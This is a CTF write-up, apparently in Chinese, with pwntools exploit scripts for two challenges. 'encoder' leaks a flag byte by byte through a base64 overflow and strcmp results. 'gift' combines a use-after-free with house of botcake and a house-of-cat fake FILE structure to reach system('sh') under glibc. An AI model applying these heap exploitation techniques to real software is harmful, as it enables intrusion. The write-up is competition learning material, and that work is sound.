0x00 DAMN 也是 ak 十道题目拿下第一(虽然感觉没什么人打)
0x01 encoder 非常简单, base64 加密后数据长度会溢出, 然后可以逐步带出 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *import base64context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "minori.node.bxs.team" port = 51850 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript=gs) payload = base64.b64encode(b'A' * 191 + b'\n' ) def leak_byte (io, pre ): io.sendline(b'3' ) io.recvuntil(b'Input raw (Y/N)?' ) io.sendline(b'Y' ) io.recvuntil(b'Input raw string: ' ) io.sendline(payload + pre) recv = io.recvuntil(b'Choice: ' ) if b'Correct' in recv: return 0 val = recv.split(b'strcmp returned ' )[1 ].split(b'\n' )[0 ] return int (val) io = start() io.recvuntil(b'Input string: ' ) io.sendline(b'A' * 191 ) io.recvuntil(b'Choice: ' ) flag = b'' while True : ret = leak_byte(io, flag) if ret == 0 : break next_byte = (-ret) & 0xff if next_byte == ord ('\n' ) or next_byte == 0 : break flag += bytes ([next_byte]) log.info(f'Flag: {flag.decode(errors="replace" )} ' ) log.success(f'FLAG: {flag.decode()} ' ) io.interactive()
0x02 gift 堆菜单 给了一次 uaf, 索引限制 0-8,glibc2.31某个比较新的小版本 (会检查各个hooks, 非空则退出, 不能打 hook)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 sub_17EE () { signed int n8; unsigned __int64 v2; v2 = __readfsqword(0x28u ); if ( !dword_4110 ) { dword_4110 = 1 ; puts ("A gift for you" ); printf ("input index: " ); __isoc99_scanf("%d" , &n8); if ( (unsigned int )n8 <= 8 ) { if ( *((_QWORD *)&unk_40C0 + n8) ) free (*((void **)&unk_40C0 + n8)); else puts ("index not used......" ); } else { puts ("index out of range......" ); } } return __readfsqword(0x28u ) ^ v2; }
直接 house of botcake + house of cat注意一下堆布局即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *import base64context(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] filename = "pwn" libcname = "./libc.so.6" host = "minori.node.bxs.team" port = 52193 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) ld = ELF("./ld-linux-x86-64.so.2" ) gs = ''' b *$rebase(0x1358) ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript=gs, env={"LD_PRELOAD" :"./libc.so.6" }) def ch (num ): io.recvuntil(b'>>>' ) io.sendline(str (num).encode()) def add (idx, size, data = b'\n' ): ch(1 ) io.recvuntil(b'input index: ' ) io.sendline(str (idx).encode()) io.recvuntil(b'input size: ' ) io.sendline(str (size).encode()) io.recvuntil(b'input your note: ' ) io.send(data) def free (idx ): ch(3 ) io.recvuntil(b'input index: ' ) io.sendline(str (idx).encode()) def show (idx ): ch(2 ) io.recvuntil(b'input index: ' ) io.sendline(str (idx).encode()) def uaf (idx ): ch(4 ) io.recvuntil(b'input index: ' ) io.sendline(str (idx).encode()) io = start() add(0 , 0x100 ) add(1 , 0x100 ) for i in range (2 , 9 ): add(i, 0x100 ) for i in range (2 , 9 ): free(i) uaf(1 ) show(1 ) io.recvuntil(b'now, show the note: ' ) libc_base = u64(io.recv(6 ).ljust(0x8 , b'\x00' )) - 0x1BCB80 - 0x60 log.info("libc_base --> " +hex (libc_base)) system = libc_base + libc.sym["system" ] free_hook = libc_base + libc.sym["__free_hook" ] ogg = libc_base + 0xcbca1 log.info("ogg --> " + hex (ogg)) stdout = libc.sym['_IO_2_1_stdout_' ] + libc_base fake_IO_addr = stdout fake_IO = b'sh' fake_IO = fake_IO.ljust(0x10 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym["system" ]) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(fake_IO_addr + 0x120 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x10 ) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x10 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) free(0 ) add(2 , 0x100 ) free(1 ) add(3 , 0xf0 ) add(4 , 0xf0 , p64(0 ) + p64(0x100 ) + p64(stdout)) add(5 , 0x100 ) add(6 , 0x100 , fake_IO) io.interactive()